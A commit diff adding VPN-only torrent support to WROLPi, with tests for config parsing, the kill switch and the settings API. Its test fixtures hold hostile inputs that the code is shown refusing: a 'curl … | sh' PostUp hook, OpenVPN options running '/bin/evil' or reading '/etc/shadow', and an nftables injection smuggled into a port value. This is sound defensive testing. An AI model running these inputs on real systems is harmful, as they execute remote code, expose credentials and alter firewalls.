Torrents over a fail-closed VPN (#1026)

Torrents reach the Internet only through a fail-closed VPN (WireGuard or
OpenVPN, any provider), so peers never see a WROLPi's own address.

- A network namespace (Pi/Debian) or the vpn container (Docker) with an
  nftables kill switch; NAT-PMP or fixed port forwarding.
- qBittorrent inside it, sandboxed; torrents kept in config/torrents/.
- Torrent download form, Torrents page, Share as torrent, nav warning, and
  VPN settings in both Controller UIs.
- Help docs: Torrents, and The VPN for Torrents.

QA'd on a Raspberry Pi with a real provider over WireGuard and OpenVPN.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
lrnselfreliance 2026-11-28 14:25:24 -07:00 • committed by Roland
parent 633b125dc6
commit 2c3300b8b0
No known key found for this signature in database
GPG key ID: 1BA620CE6C9A4680
80 changed files with 7516 additions and 45 deletions

View file

@ -57,7 +57,7 @@ class TestManagedServicesConfig:
def test_managed_services_count(self):
"""Should have expected number of managed services."""
services = DEFAULT_CONFIG["managed_services"]
assert len(services) == 13
assert len(services) == 15
@pytest.mark.parametrize("name,expected", [
("wrolpi-api",

View file

@ -295,3 +295,94 @@ class TestGetContainerLogs:
assert result["logs"] == "log line 1\nlog line 2"
assert result["service"] == "api"
assert result["lines"] == 50
def _container(service, ports=None, status="running"):
container = mock.Mock()
container.name = f"{CONTAINER_PREFIX}-{service}-1"
container.status = status
container.attrs = {"NetworkSettings": {"Ports": ports or {}}}
return container
WEB_PORTS = {"443/tcp": [{"HostPort": "8443"}], "8084/tcp": [{"HostPort": "8084"}],
"8085/tcp": [{"HostPort": "8085"}], "8086/tcp": [{"HostPort": "8086"}],
"8091/tcp": [{"HostPort": "8091"}]}
def _list(*containers):
client = mock.Mock()
client.containers.list.return_value = list(containers)
client.containers.get.side_effect = lambda name: {c.name: c for c in containers}[name]
with mock.patch("controller.lib.docker_services.can_manage_containers", return_value=True), \
mock.patch("controller.lib.docker_services._get_client", return_value=client):
return {s["name"]: s for s in get_all_containers_status()}, client
class TestDockerServiceDescriptions:
"""Each container says what it is; one served by the web container (Caddy) links to Caddy's port for it."""
def test_every_compose_service_is_described(self):
import yaml
from pathlib import Path
from controller.lib.docker_services import DOCKER_SERVICES
compose = yaml.safe_load((Path(__file__).parents[2] / "docker-compose.yml").read_text())
for name in compose["services"]:
assert DOCKER_SERVICES.get(name, {}).get("description"), name
def test_vpn_is_torrents_and_links_to_the_webui(self):
services, _ = _list(_container("vpn"), _container("web", WEB_PORTS))
vpn = services["vpn"]
assert "torrents" in vpn["description"].lower()
assert vpn["port"] == 8091 and vpn["use_https"] is True and vpn["viewable"] is True
def test_served_through_web_uses_webs_host_port(self):
# WEB_HTTPS_PORT may be changed; the link follows Caddy's published port.
ports = dict(WEB_PORTS, **{"443/tcp": [{"HostPort": "9443"}]})
services, _ = _list(_container("help"), _container("zim"), _container("app"), _container("web", ports))
assert (services["help"]["port"], services["help"]["use_https"]) == (8086, True)
assert services["zim"]["port"] == 8085
assert services["app"]["port"] == 9443
assert services["web"]["port"] == 9443 and services["web"]["use_https"] is True
def test_tiles_are_plain_http_with_no_page(self):
services, _ = _list(_container("tiles"), _container("web", dict(WEB_PORTS, **{"8088/tcp": [{"HostPort": "8088"}]})))
assert (services["tiles"]["port"], services["tiles"]["use_https"], services["tiles"]["viewable"]) == \
(8088, False, False)
def test_without_web_there_is_no_link(self):
services, _ = _list(_container("vpn"))
assert services["vpn"]["port"] is None
assert services["vpn"]["description"]
def test_archive_has_no_page(self):
services, _ = _list(_container("archive", {"8080/tcp": [{"HostPort": "8083"}]}))
assert services["archive"]["viewable"] is False
assert services["archive"]["description"]
def test_unknown_container_has_no_description(self):
services, _ = _list(_container("custom", {"80/tcp": [{"HostPort": "9000"}]}))
assert services["custom"]["description"] == ""
assert services["custom"]["port"] == 9000
def test_single_container_status_is_described(self):
vpn, web = _container("vpn"), _container("web", WEB_PORTS)
client = mock.Mock()
client.containers.get.side_effect = lambda name: {vpn.name: vpn, web.name: web}[name]
with mock.patch("controller.lib.docker_services.can_manage_containers", return_value=True), \
mock.patch("controller.lib.docker_services._get_client", return_value=client):
status = get_container_status("vpn")
assert "torrents" in status["description"].lower()
assert status["port"] == 8091
class TestSimpleUiDescriptions:
"""The Controller's own page shows each service's description, as the React page does."""
def test_rows_show_descriptions(self):
from pathlib import Path
page = (Path(__file__).parents[1] / "templates/index.html").read_text()
macro = page[page.index("{% macro service_row"):page.index("{% endmacro %}")]
assert "service.description" in macro
script = page[page.index("function serviceRowHtml"):]
assert "service.description" in script[:script.index("return row")]

View file

@ -93,10 +93,10 @@ class TestConfig:
["rsync", "--version"], capture_output=True).stdout, reason="needs rsync 3")
def test_daemon_serves_the_library_read_only(tmp_path):
"""The daemon run with the real config (only its port and path changed) lists the library, never serves the
database in use or the TLS keys, serves the snapshot, and refuses a write."""
database in use, the TLS keys or the VPN keys, serves the snapshot, and refuses a write."""
media = tmp_path / "media"
for path in ("videos/a.mp4", "config/tags.yaml", "config/wrolpi.db", "config/wrolpi.db-wal",
"config/ssl/ca.key", "config/cookies.txt.enc", "config/.sync/config/wrolpi.db",
"config/ssl/ca.key", "config/vpn/wireguard.conf", "config/cookies.txt.enc", "config/.sync/config/wrolpi.db",
"config/.sync/config/.wrolpi.db.backup"):
(media / path).parent.mkdir(parents=True, exist_ok=True)
(media / path).write_text(path)

251
controller/test/test_vpn.py Normal file
View file

@ -0,0 +1,251 @@
"""
Tests for the Controller's VPN settings, server lookups, status, and API.
"""
import json
import stat
import time
from pathlib import Path
from unittest import mock
import pytest
import yaml
from controller.lib import vpn
from controller.vpn import tunnel
from controller.vpn.tunnel import VPNConfigError
WIREGUARD = """\
[Interface]
PrivateKey = cHJpdmF0ZWtleXByaXZhdGVrZXlwcml2YXRla2V5cHI=
Address = 10.2.0.2/32
DNS = 10.2.0.1
[Peer]
PublicKey = cHVibGlja2V5cHVibGlja2V5cHVibGlja2V5cHVibGk=
AllowedIPs = 0.0.0.0/0
Endpoint = vpn.example.com:51820
"""
OPENVPN = """\
client
remote 198.51.100.7 1194
auth-user-pass
"""
@pytest.fixture
def drive(test_directory, mock_config_path, reset_runtime_config, monkeypatch) -> Path:
"""A mounted drive: controller.yaml and the VPN files share one config directory, as on a WROLPi."""
monkeypatch.setenv('MEDIA_DIRECTORY', str(test_directory))
return test_directory / 'config'
@pytest.fixture
def resolver():
with mock.patch.object(tunnel, 'resolve_host', return_value=['203.0.113.5']) as resolve_host:
yield resolve_host
def saved_vpn_settings(drive: Path) -> dict:
return yaml.safe_load((drive / 'controller.yaml').read_text())['vpn']
class TestSaveConfig:
def test_wireguard(self, drive, resolver):
response = vpn.save_vpn_config('proton-US-1.conf', WIREGUARD)
assert response['kind'] == 'wireguard'
assert response['servers'] == ['vpn.example.com']
assert response['enabled'] is False
path = drive / vpn.WIREGUARD_CONFIG
assert path.read_text() == WIREGUARD
# It holds a private key.
assert stat.S_IMODE(path.stat().st_mode) == 0o600
assert stat.S_IMODE(path.parent.stat().st_mode) == 0o700
# The tunnel reads the same key the Controller saved.
assert saved_vpn_settings(drive)['config_file'] == vpn.WIREGUARD_CONFIG
assert tunnel.load_settings(drive.parent)['config_file'] == vpn.WIREGUARD_CONFIG
# The server's name is looked up for the tunnel, which cannot use DNS until it is up.
endpoints = json.loads((tunnel.RUN_DIR / tunnel.ENDPOINTS_FILE).read_text())
assert endpoints['hosts'] == {'vpn.example.com': ['203.0.113.5']}
assert endpoints['config_sha256'] == tunnel.config_sha256(WIREGUARD)
def test_replaces_the_other_kind(self, drive, resolver):
vpn.save_vpn_config('a.conf', WIREGUARD)
response = vpn.save_vpn_config('b.ovpn', OPENVPN)
assert response['kind'] == 'openvpn'
assert response['needs_auth'] is True
assert response['has_auth'] is False
assert not (drive / vpn.WIREGUARD_CONFIG).exists()
assert saved_vpn_settings(drive)['config_file'] == vpn.OPENVPN_CONFIG
@pytest.mark.parametrize('filename,content,message', [
('vpn.txt', WIREGUARD, '.conf'),
('vpn.conf', '[Interface]\n', 'PrivateKey'),
('vpn.ovpn', 'client\n', 'no remote'),
('vpn.conf', 'x' * (vpn.MAX_CONFIG_BYTES + 1), 'too large'),
])
def test_invalid_config_is_not_saved(self, drive, resolver, filename, content, message):
with pytest.raises(VPNConfigError, match=message):
vpn.save_vpn_config(filename, content)
assert not (drive / 'vpn').exists()
def test_lookup_failure_does_not_stop_saving(self, drive):
with mock.patch.object(tunnel, 'resolve_host', side_effect=__import__('socket').gaierror('no Internet')):
response = vpn.save_vpn_config('a.conf', WIREGUARD)
assert response['kind'] == 'wireguard'
assert vpn.endpoints_need_resolving() is False # The VPN is off.
class TestSettings:
def test_enable_needs_a_config(self, drive):
with pytest.raises(VPNConfigError, match='Upload a VPN config'):
vpn.update_vpn_settings(enabled=True)
def test_enable(self, drive, resolver):
vpn.save_vpn_config('a.conf', WIREGUARD)
assert vpn.update_vpn_settings(enabled=True)['enabled'] is True
assert saved_vpn_settings(drive)['enabled'] is True
def test_openvpn_needs_its_login_before_enabling(self, drive, resolver):
vpn.save_vpn_config('a.ovpn', OPENVPN)
with pytest.raises(VPNConfigError, match='username and password'):
vpn.update_vpn_settings(enabled=True)
response = vpn.save_openvpn_auth('user', 'secret')
assert response['has_auth'] is True
auth = drive / vpn.OPENVPN_AUTH
assert auth.read_text() == 'user\nsecret\n'
assert stat.S_IMODE(auth.stat().st_mode) == 0o600
assert vpn.update_vpn_settings(enabled=True)['enabled'] is True
@pytest.mark.parametrize('username,password', [('', 'p'), ('u', ''), ('u\nx', 'p'), ('u', 'p\r')])
def test_invalid_login(self, drive, username, password):
with pytest.raises(VPNConfigError):
vpn.save_openvpn_auth(username, password)
def test_port_forwarding(self, drive):
with pytest.raises(VPNConfigError, match='Enter the port'):
vpn.update_vpn_settings(port_forwarding='fixed')
with pytest.raises(VPNConfigError, match='between 1 and 65535'):
vpn.update_vpn_settings(port_forwarding='fixed', forwarded_port=70000)
with pytest.raises(VPNConfigError, match='must be one of'):
vpn.update_vpn_settings(port_forwarding='upnp')
response = vpn.update_vpn_settings(port_forwarding='fixed', forwarded_port=51413)
assert (response['port_forwarding'], response['forwarded_port']) == ('fixed', 51413)
# Only differences from the defaults are saved.
assert saved_vpn_settings(drive) == {'port_forwarding': 'fixed', 'forwarded_port': 51413}
def test_natpmp(self, drive):
response = vpn.update_vpn_settings(port_forwarding='natpmp')
assert response['port_forwarding'] == 'natpmp'
with pytest.raises(VPNConfigError, match='IPv4'):
vpn.update_vpn_settings(natpmp_gateway='vpn.example.com')
with pytest.raises(VPNConfigError, match='IPv4'):
vpn.update_vpn_settings(natpmp_gateway='fd00::1')
assert vpn.update_vpn_settings(natpmp_gateway='10.64.0.1')['natpmp_gateway'] == '10.64.0.1'
assert vpn.update_vpn_settings(natpmp_gateway='')['natpmp_gateway'] is None
@pytest.mark.parametrize('url', ['file:///etc/shadow', 'ftp://example.com/', 'https://', 'example.com'])
def test_public_ip_url_must_be_a_web_address(self, drive, url):
with pytest.raises(VPNConfigError, match='http'):
vpn.update_vpn_settings(public_ip_url=url)
# Empty turns the check off.
assert vpn.update_vpn_settings(public_ip_url='')['public_ip_url'] is None
def test_delete(self, drive, resolver):
vpn.save_vpn_config('a.ovpn', OPENVPN)
vpn.save_openvpn_auth('user', 'secret')
vpn.update_vpn_settings(enabled=True)
response = vpn.delete_vpn_config()
assert response['enabled'] is False
assert response['kind'] is None
assert not (drive / vpn.OPENVPN_CONFIG).exists()
assert not (drive / vpn.OPENVPN_AUTH).exists()
class TestEndpoints:
def test_need_resolving(self, drive, resolver):
vpn.save_vpn_config('a.conf', WIREGUARD)
vpn.update_vpn_settings(enabled=True)
assert vpn.endpoints_need_resolving() is False
# Old lookups are refreshed in case the provider moved a server.
path = tunnel.RUN_DIR / tunnel.ENDPOINTS_FILE
data = json.loads(path.read_text())
data['resolved_at'] = time.time() - vpn.ENDPOINTS_MAX_AGE - 1
path.write_text(json.dumps(data))
assert vpn.endpoints_need_resolving() is True
# A lookup which failed (e.g. no Internet at boot) is tried again.
data['resolved_at'], data['hosts'] = time.time(), {}
path.write_text(json.dumps(data))
assert vpn.endpoints_need_resolving() is True
path.unlink()
assert vpn.endpoints_need_resolving() is True
def test_addresses_need_no_lookup(self, drive, resolver):
vpn.save_vpn_config('a.ovpn', 'remote 198.51.100.7 1194\n')
assert vpn.resolve_endpoints() == {}
resolver.assert_not_called()
class TestStatus:
def test_stopped_without_status(self, drive):
assert vpn.get_vpn_status()['state'] == 'stopped'
def test_reports_the_tunnels_status(self, drive):
tunnel.write_json(tunnel.RUN_DIR / tunnel.STATUS_FILE, {
'state': 'connected', 'kind': 'wireguard', 'interface': 'vpn0', 'public_ip': '203.0.113.99',
'forwarded_port': 51413, 'updated_at': time.time()})
status = vpn.get_vpn_status()
assert (status['state'], status['public_ip'], status['forwarded_port']) == ('connected', '203.0.113.99', 51413)
def test_stale_status_is_stopped(self, drive):
tunnel.write_json(tunnel.RUN_DIR / tunnel.STATUS_FILE, {
'state': 'connected', 'public_ip': '203.0.113.99',
'updated_at': time.time() - vpn.STALE_STATUS_SECONDS - 1})
status = vpn.get_vpn_status()
assert status['state'] == 'stopped'
assert status['public_ip'] is None
class TestAPI:
def test_status(self, test_client):
response = test_client.get('/api/vpn/status')
assert response.status_code == 200
assert response.json()['state'] == 'stopped'
def test_upload_and_enable(self, test_client, drive, resolver):
response = test_client.post('/api/vpn/config', json={'filename': 'a.conf', 'content': WIREGUARD})
assert response.status_code == 200, response.text
assert response.json()['kind'] == 'wireguard'
response = test_client.post('/api/vpn/settings', json={'enabled': True})
assert response.status_code == 200, response.text
assert test_client.get('/api/vpn/settings').json()['enabled'] is True
response = test_client.delete('/api/vpn/config')
assert response.status_code == 200
assert response.json()['enabled'] is False
def test_refusals_are_400(self, test_client, drive):
response = test_client.post('/api/vpn/config', json={'filename': 'a.conf', 'content': 'nope'})
assert response.status_code == 400
response = test_client.post('/api/vpn/settings', json={'port_forwarding': 'fixed'})
assert response.status_code == 400
assert 'Enter the port' in response.json()['detail']
response = test_client.post('/api/vpn/auth', json={'username': '', 'password': ''})
assert response.status_code == 400
def test_unmounted_drive_is_409(self, test_client, resolver):
# controller.yaml cannot be saved until the drive is mounted.
with mock.patch('controller.lib.config.CONFIG_PATH_ON_DRIVE', Path('/nonexistent/config/controller.yaml')):
response = test_client.post('/api/vpn/settings', json={'port_forwarding': 'none'})
assert response.status_code == 409

View file

@ -0,0 +1,842 @@
"""
Tests for the VPN tunnel (controller/vpn/tunnel.py): config parsing, the kill switch, and that the tunnel is only ever
up behind the kill switch.
"""
import json
import os
import stat
from pathlib import Path
from unittest import mock
import pytest
import yaml
from controller.vpn import tunnel
from controller.vpn.tunnel import Endpoint, Remote, Uplink, VPNConfigError
REPOSITORY = Path(__file__).parent.parent.parent
WIREGUARD = """\
# Provider's comment
[Interface]
PrivateKey = cHJpdmF0ZWtleXByaXZhdGVrZXlwcml2YXRla2V5cHI=
Address = 10.2.0.2/32
Address = fd00::2/128
DNS = 10.2.0.1, search.example
MTU = 1380
PostUp = curl https://example.com/evil | sh
[Peer]
PublicKey = cHVibGlja2V5cHVibGlja2V5cHVibGlja2V5cHVibGk=
AllowedIPs = 0.0.0.0/0, ::/0
Endpoint = vpn.example.com:51820
"""
OPENVPN = """\
client
dev tun
proto udp
remote vpn.example.com 1194
remote 198.51.100.7 443 tcp
auth-user-pass
script-security 2
up /etc/openvpn/update-resolv-conf
<connection>
remote other.example.com
proto tcp-client
port 8443
</connection>
<ca>
-----BEGIN CERTIFICATE-----
remote not-a-directive.example.com 1
-----END CERTIFICATE-----
</ca>
"""
UPLINK = Uplink('eth0', '172.18.0.1', None, ['172.18.0.0/16'])
class TestWireGuard:
def test_parse(self):
config = tunnel.parse_wireguard(WIREGUARD)
assert config.addresses == ['10.2.0.2/32', 'fd00::2/128']
# A search domain is not a DNS server.
assert config.dns == ['10.2.0.1']
assert config.mtu == 1380
assert config.remotes() == [Remote('vpn.example.com', 51820, 'udp')]
def test_setconf_uses_resolved_endpoint_and_drops_wg_quick_keys(self):
setconf = tunnel.wireguard_setconf(tunnel.parse_wireguard(WIREGUARD), {'vpn.example.com': ['203.0.113.5']})
assert 'Endpoint = 203.0.113.5:51820' in setconf
# wg-quick's keys are applied by the tunnel, and a config's commands are never run.
for key in ('Address', 'DNS', 'MTU', 'PostUp', 'curl'):
assert key not in setconf
assert 'PrivateKey = cHJpdmF0ZWtleXByaXZhdGVrZXlwcml2YXRla2V5cHI=' in setconf
assert 'AllowedIPs = 0.0.0.0/0, ::/0' in setconf
# Keeps the provider's NAT mapping (and a forwarded port) open while idle.
assert f'PersistentKeepalive = {tunnel.DEFAULT_KEEPALIVE}' in setconf
def test_setconf_keeps_keepalive_and_brackets_ipv6(self):
text = WIREGUARD.replace('Endpoint = vpn.example.com:51820',
'Endpoint = [2001:db8::5]:51820\nPersistentKeepalive = 10')
setconf = tunnel.wireguard_setconf(tunnel.parse_wireguard(text), {})
assert 'Endpoint = [2001:db8::5]:51820' in setconf
assert 'PersistentKeepalive = 10' in setconf
def test_setconf_needs_the_controllers_lookup(self):
with pytest.raises(tunnel.Waiting):
tunnel.wireguard_setconf(tunnel.parse_wireguard(WIREGUARD), {})
@pytest.mark.parametrize('text,message', [
('', 'no [Interface]'),
('[Interface]\nAddress = 10.0.0.2/32\n[Peer]\nPublicKey = a\nEndpoint = h:1\n', 'no PrivateKey'),
('[Interface]\nPrivateKey = a\n[Peer]\nPublicKey = a\nEndpoint = h:1\n', 'no Address'),
('[Interface]\nPrivateKey = a\nAddress = 10.0.0.2/32\n', 'no [Peer]'),
('[Interface]\nPrivateKey = a\nAddress = 10.0.0.2/32\n[Peer]\nPublicKey = a\n', 'no Endpoint'),
('[Interface]\nPrivateKey = a\nAddress = 10.0.0.2/32\n[Peer]\nPublicKey = a\nEndpoint = h\n',
'expected host:port'),
('[Interface]\nPrivateKey = a\nAddress = nope\n[Peer]\nPublicKey = a\nEndpoint = h:1\n', 'Address'),
('[Wat]\n', 'Unknown WireGuard section'),
])
def test_invalid(self, text, message):
with pytest.raises(VPNConfigError, match=message.replace('[', r'\[').replace(']', r'\]')):
tunnel.parse_wireguard(text)
class TestOpenVPN:
def test_parse_remotes(self):
config = tunnel.parse_openvpn(OPENVPN)
assert config.remotes == [
Remote('vpn.example.com', 1194, 'udp'),
Remote('198.51.100.7', 443, 'tcp'),
# A <connection> block's proto and port apply to its own remote only.
Remote('other.example.com', 8443, 'tcp'),
]
assert config.wants_auth is True
def test_global_options_apply_to_remotes_above_them(self):
config = tunnel.parse_openvpn('remote a.example.com\nport 443\nproto tcp\n')
assert config.remotes == [Remote('a.example.com', 443, 'tcp')]
assert config.wants_auth is False
def test_sanitize(self):
config = tunnel.parse_openvpn(OPENVPN)
text = tunnel.sanitize_openvpn(config, {'vpn.example.com': ['203.0.113.5', '203.0.113.6'],
'other.example.com': ['203.0.113.9']})
lines = text.splitlines()
# Each name becomes its addresses, so OpenVPN never needs DNS behind the kill switch.
assert 'remote 203.0.113.5 1194 udp' in lines
assert 'remote 203.0.113.6 1194 udp' in lines
assert 'remote 198.51.100.7 443 tcp' in lines
assert 'remote 203.0.113.9 8443 tcp' in lines
assert not any('vpn.example.com' in line for line in lines)
# No commands; the tunnel names the device and passes the login itself.
for dropped in ('script-security', 'up /etc', 'auth-user-pass', 'dev tun'):
assert not any(line.startswith(dropped) for line in lines), dropped
# Inline data is passed through untouched.
assert 'remote not-a-directive.example.com 1' in lines
assert '<connection>' in lines and '</ca>' in lines
@pytest.mark.parametrize('text,message', [
('client\n', 'no remote'),
('remote a.example.com\nhttp-proxy 10.0.0.1 8080\n', 'http-proxy'),
('remote a.example.com\ndev tap\n', 'TAP'),
('remote a.example.com\nproto sctp\n', 'Unknown OpenVPN protocol'),
])
def test_invalid(self, text, message):
with pytest.raises(VPNConfigError, match=message):
tunnel.parse_openvpn(text)
@pytest.mark.parametrize('line', [
# OpenVPN un-quotes and un-escapes option names, so these are `up`.
'"up" /bin/evil', "'up' /bin/evil", 'u\\p /bin/evil', '--"up" /bin/evil',
# Run commands without needing --script-security.
'iproute /bin/evil', 'plugin /usr/lib/openvpn/openvpn-plugin-down-root.so /bin/evil', 'engine evil',
'providers evil',
# Wrapped in `setenv opt`, an option is still judged as itself.
'setenv opt iproute /bin/evil', 'setenv "opt" up /bin/evil', "setenv 'opt' iproute /bin/evil",
'setenv o\\pt up /bin/evil', 'remote 198.51.100.8 "1194"',
# Read or write files as root.
'askpass /etc/shadow', 'tmp-dir /etc', 'tls-export-cert /etc', 'replay-persist /etc/passwd',
'ca /etc/shadow', 'tls-auth /etc/shadow 1', 'config /etc/openvpn/other.conf',
# Unknown options are refused, by name.
'ignore-unknown-option up', 'management 0.0.0.0 7505',
])
def test_refuses_options_which_could_escape(self, line):
with pytest.raises(VPNConfigError):
tunnel.parse_openvpn(f'client\nremote 198.51.100.7\n{line}\n')
@pytest.mark.parametrize('block', ['auth-user-pass', 'up', 'secret-stuff'])
def test_refuses_unknown_inline_blocks(self, block):
with pytest.raises(VPNConfigError, match=f'<{block}>'):
tunnel.parse_openvpn(f'remote 198.51.100.7\n<{block}>\nx\n</{block}>\n')
@pytest.mark.parametrize('text', [
# OpenVPN would end the block here and read the next line as an option.
'<ca>\ncert\n</ca> trailing\nup /bin/evil\n',
'<ca>\ncert\n</ca>junk\n',
# A block left open hides nothing from OpenVPN, but cannot be read either.
'<ca>\ncert\n',
'<connection>\nremote 198.51.100.8\n',
])
def test_inline_blocks_must_close_cleanly(self, text):
with pytest.raises(VPNConfigError):
tunnel.parse_openvpn(f'remote 198.51.100.7\n{text}')
def test_inline_block_closing_tag_however_written(self):
# Closed by any line which starts with the closing tag, so what follows is always checked.
with pytest.raises(VPNConfigError, match='iproute'):
tunnel.parse_openvpn('remote 198.51.100.7\n<ca>\ncert\n </CA>\niproute /bin/evil\n')
def test_quotes_in_harmless_options(self):
text = ('remote 198.51.100.7\npull-filter ignore "route-ipv6"\n'
"verify-x509-name 'C=US, CN=vpn' subject\n")
assert 'pull-filter ignore "route-ipv6"' in tunnel.sanitize_openvpn(tunnel.parse_openvpn(text), {})
def test_drops_scripts_and_what_the_tunnel_replaces(self):
text = ('client\nremote 198.51.100.7\nsetenv opt up /bin/evil\nsetenv CLIENT_CERT 0\nverb 1\n'
'user nobody\nlog /etc/passwd\nblock-outside-dns\ndhcp-option DNS 10.8.0.1\n')
config = tunnel.parse_openvpn(text)
lines = tunnel.sanitize_openvpn(config, {}).splitlines()
assert lines == ['client', 'remote 198.51.100.7 1194 udp', 'setenv CLIENT_CERT 0', 'dhcp-option DNS 10.8.0.1']
assert config.dns == ['10.8.0.1']
def test_inline_key_material(self):
text = 'remote 198.51.100.7\ntls-auth [inline] 1\nkey-direction 1\n<tls-auth>\nkey\n</tls-auth>\n'
assert '<tls-auth>' in tunnel.sanitize_openvpn(tunnel.parse_openvpn(text), {})
def test_pushed_dns(self):
line = ("2026-11-27 PUSH: Received control message: 'PUSH_REPLY,redirect-gateway def1,dhcp-option DNS "
"10.8.0.1,dhcp-option DNS6 fd00::1,dhcp-option DOMAIN example.com,dns server 0 address 10.8.0.2 "
"[fd00::2]:53 10.8.0.3:53,route-gateway 10.8.0.1,ifconfig 10.8.0.6 255.255.255.0,peer-id 0'")
assert tunnel.pushed_dns(line) == ['10.8.0.1', 'fd00::1', '10.8.0.2', 'fd00::2', '10.8.0.3']
assert tunnel.pushed_dns('Initialization Sequence Completed') == []
class TestKillSwitch:
def test_drops_everything_but_the_tunnel_and_the_vpn_servers(self):
ruleset = tunnel.build_ruleset(UPLINK, [Endpoint('203.0.113.5', 51820, 'udp'),
Endpoint('2001:db8::5', 443, 'tcp')])
assert ruleset.startswith('table inet wrolpi_vpn\ndelete table inet wrolpi_vpn\n')
for chain in ('input', 'output', 'forward'):
assert f'type filter hook {chain} priority filter; policy drop;' in ruleset
assert 'oifname "vpn0" accept' in ruleset
# From the Internet only the forwarded port; nothing else arriving on the tunnel is accepted.
input_chain = ruleset[ruleset.index('chain input'):ruleset.index('chain output')]
assert 'iifname "vpn0" meta l4proto { tcp, udp } th dport @listen_ports accept' in input_chain
assert 'iifname "vpn0" accept' not in input_chain
assert 'set listen_ports {\n\t\ttype inet_service;\n\t}' in ruleset
assert 'oifname "eth0" ip daddr 203.0.113.5 udp dport 51820 accept' in ruleset
assert 'oifname "eth0" ip6 daddr 2001:db8::5 tcp dport 443 accept' in ruleset
# WROLPi reaches the torrent WebUI from the uplink's network; the namespace only answers.
assert f'iifname "eth0" ip saddr 172.18.0.0/16 tcp dport {tunnel.WEBUI_PORT} accept' in ruleset
assert 'oifname "eth0" ip daddr 172.18.0.0/16 ct state established,related accept' in ruleset
# Docker's DNS would resolve through the host, around the tunnel. It is dropped before loopback is allowed.
output = ruleset[ruleset.index('chain output'):]
assert output.index('ip daddr 127.0.0.11 drop') < output.index('oifname "lo" accept')
def test_listen_ports(self):
ruleset = tunnel.build_ruleset(UPLINK, [], listen_ports=[36523])
assert '\t\telements = { 36523 }\n' in ruleset
@pytest.mark.parametrize('port', ['1 }\nflush ruleset\n', '36523', 0, 70000, True, None, 1.5])
def test_only_port_numbers_reach_nftables(self, port):
with pytest.raises(VPNConfigError):
tunnel.build_ruleset(UPLINK, [], listen_ports=[port])
with pytest.raises(VPNConfigError):
tunnel.set_listen_ports([port])
def test_without_endpoints_nothing_leaves_the_uplink(self):
ruleset = tunnel.build_ruleset(UPLINK, [])
output = ruleset[ruleset.index('chain output'):ruleset.index('chain forward')]
uplink_rules = [line.strip() for line in output.splitlines() if 'oifname "eth0"' in line]
assert uplink_rules == ['oifname "eth0" ip daddr 172.18.0.0/16 ct state established,related accept']
@pytest.fixture
def media(tmp_path, monkeypatch) -> Path:
media = tmp_path / 'media'
(media / 'config' / 'vpn').mkdir(parents=True)
monkeypatch.setenv('MEDIA_DIRECTORY', str(media))
return media
def write_settings(media: Path, **vpn):
(media / 'config' / 'controller.yaml').write_text(yaml.safe_dump({'vpn': vpn}))
def write_endpoints(run_dir: Path, text: str, hosts: dict):
tunnel.write_json(run_dir / tunnel.ENDPOINTS_FILE, {'config_sha256': tunnel.config_sha256(text), 'hosts': hosts})
class TestPlan:
def test_disabled(self, media):
write_settings(media, enabled=False, config_file='vpn/wireguard.conf')
assert tunnel.make_plan(tunnel.load_settings(media), media / 'config', tunnel.RUN_DIR) is None
def test_settings_default_without_controller_yaml(self, media):
assert tunnel.load_settings(media) == tunnel.VPN_DEFAULTS
def test_waits_for_the_controller_to_look_up_servers(self, media):
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_settings(media, enabled=True, config_file='vpn/wireguard.conf')
settings = tunnel.load_settings(media)
with pytest.raises(tunnel.Waiting):
tunnel.make_plan(settings, media / 'config', tunnel.RUN_DIR)
# A lookup of an older config is not used.
write_endpoints(tunnel.RUN_DIR, 'old config', {'vpn.example.com': ['192.0.2.1']})
with pytest.raises(tunnel.Waiting):
tunnel.make_plan(settings, media / 'config', tunnel.RUN_DIR)
write_endpoints(tunnel.RUN_DIR, WIREGUARD, {'vpn.example.com': ['203.0.113.5']})
plan = tunnel.make_plan(settings, media / 'config', tunnel.RUN_DIR)
assert plan.kind == 'wireguard'
assert plan.endpoints == [Endpoint('203.0.113.5', 51820, 'udp')]
def test_fingerprint_follows_settings(self, media):
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_endpoints(tunnel.RUN_DIR, WIREGUARD, {'vpn.example.com': ['203.0.113.5']})
write_settings(media, enabled=True, config_file='vpn/wireguard.conf')
first = tunnel.make_plan(tunnel.load_settings(media), media / 'config', tunnel.RUN_DIR)
write_settings(media, enabled=True, config_file='vpn/wireguard.conf', port_forwarding='fixed',
forwarded_port=51413)
second = tunnel.make_plan(tunnel.load_settings(media), media / 'config', tunnel.RUN_DIR)
assert first.fingerprint != second.fingerprint
def test_openvpn_needs_its_login(self, media):
text = 'remote 198.51.100.7 1194\nauth-user-pass\n'
(media / 'config/vpn/openvpn.ovpn').write_text(text)
write_settings(media, enabled=True, config_file='vpn/openvpn.ovpn')
with pytest.raises(VPNConfigError, match='username and password'):
tunnel.make_plan(tunnel.load_settings(media), media / 'config', tunnel.RUN_DIR)
(media / 'config/vpn/openvpn-auth.txt').write_text('user\npass\n')
write_settings(media, enabled=True, config_file='vpn/openvpn.ovpn', auth_file='vpn/openvpn-auth.txt')
plan = tunnel.make_plan(tunnel.load_settings(media), media / 'config', tunnel.RUN_DIR)
assert plan.auth_path == media / 'config/vpn/openvpn-auth.txt'
assert plan.endpoints == [Endpoint('198.51.100.7', 1194, 'udp')]
def test_fixed_port_must_be_a_port(self, media):
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_endpoints(tunnel.RUN_DIR, WIREGUARD, {'vpn.example.com': ['203.0.113.5']})
write_settings(media, enabled=True, config_file='vpn/wireguard.conf', port_forwarding='fixed',
forwarded_port='1 }\nflush ruleset\n')
with pytest.raises(VPNConfigError, match='not a port'):
tunnel.make_plan(tunnel.load_settings(media), media / 'config', tunnel.RUN_DIR)
def test_missing_config(self, media):
write_settings(media, enabled=True, config_file='vpn/wireguard.conf')
with pytest.raises(VPNConfigError, match='missing'):
tunnel.make_plan(tunnel.load_settings(media), media / 'config', tunnel.RUN_DIR)
class FakeSystem:
"""Records the tunnel's commands in order; `vpn0` exists once added."""
def __init__(self):
self.calls = []
self.links = set()
def run(self, *cmd, input_=None):
cmd = tuple(map(str, cmd))
self.calls.append(('nft', input_) if cmd[0] == 'nft' else cmd)
if cmd[:3] == ('ip', 'link', 'add'):
self.links.add(cmd[3])
return mock.Mock(stdout='')
def run_quietly(self, *cmd):
cmd = tuple(map(str, cmd))
